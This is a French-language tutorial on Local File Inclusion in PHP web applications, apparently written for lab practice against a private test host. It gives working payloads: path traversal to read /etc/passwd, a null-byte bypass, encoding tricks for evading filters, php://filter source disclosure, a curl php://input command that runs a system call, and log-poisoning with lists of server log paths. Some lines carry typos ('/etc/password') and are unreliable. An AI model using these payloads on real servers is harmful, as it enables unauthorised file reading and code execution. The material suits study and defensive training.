Local File Inclusion (LFI)

LFI

De nombreux langages de programmations, comme le php, sont capable de lire des fichiers et les interpréter pour générer des pages HTML dynamiques. Cette fonction peut être détournée si elle prend en entrée une variable modifiable par l'utilisateur.

L'url http://10.10.10.11/index.php?page=login.php est envoyée au serveur. A la réception de cette requête, le serveur va inclure le fichier 'login.php', et l'éxécuter pour générer la page de login.

Nous allons remplacer 'login.php' par le nom d'un autre fichier, qui sera chargé à la place.

http://10.10.10.11/index.php?page=/etc/password

Le serveur web apache fonctionne généralement dans le répertoire /var/www/html. Si nous précisons page=/etc/passwd, le serveur risque de chercher le fichier /var/www/html/etc/passwd. Nous utilisons alors /../ pour remonter d'un répertoire.

/var/www/html/../etc/passwd vaut /var/www/etc/passwd. /var/www/html/../../etc/passwd vaut /var/etc/passwd.

Nous utilisons une série de ../../../../../ devant le nom du fichier pour forcer le serveur à redescendre au niveau de la racine des répertoires. /var/www/html/../../../../../../../ vaut /, quel que soit le nombre de ../

http://10.10.10.11?page=../../../../../etc/passwd

Une LFI permet de lire TOUS les fichiers de la machine que peut lire le serveur web...

Plutot que http://10.10.10.11/index.php?page=login.php, le serveur utilise http://10.10.10.11/index.php?page=login, et ajoute l'extension '.php' avant d'inclure le fichier.

http://10.10.10.11/index.php?page=/etc/password va essayer d'ouvrir sans success /etc/password.php.

Nous ajoutons un null byte à la fin de notre paramètre qui va empécher l'ajout de l'extension .php.

http://10.10.10.11/index.php?page=/etc/password%00
<   %3C %253C
>   %3E %253E
«   %22 %2522
‘   %27 %2527
/   %2F %252F
.   %2E %252E
=   %3D %253D
–   %2D %252D
:   %3A %253A

Les développeurs ayant conscience des risques de LFI peuvent ajouter des fonctions qui vont filtrer les entrées.
Ils vont supprimer les ../ et les / dans le nom du fichier
Ce genre de filtre s'appelle un Waf : Web Application Filter.

Il est possible de contourner ces filtres de plusieures manières:

Le langage php permet de gérer les flux de façon banalisée. Il est ainsi possible d'injecter un fichier encodé en base64 dans une LFI.

http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php 
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php 

Il ne reste plus qu'à décoder pour obtenir le code source du fichier php.

Le langage php permet de gérer les flux de façon banalisée. Il est ainsi possible de lire le contenu brut des données en POST avec php://input.

curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input
Ne fonctionne que si l'option allow_url_include = On est active dans la config php. Elle est désactivée par défaut.

Nous injectons une payload dans le fichier de logs d'un serveur en faisant une requête : nginx, apache, ssh...
Nous utilisons ensuite une LFI pour déclencher la payload.

Fichiers de logs:
Apache
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/httpd/error_log

Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

Ssh
/var/log/sshd.log

Il est possible de vérifier l'emplacement des fichiers de logs en lisant les fichiers de config.
Fichier de config de Nginx: /etc/nginx/nginx.conf
Entrée du fichier de config : access_log /spool/logs/nginx-access.log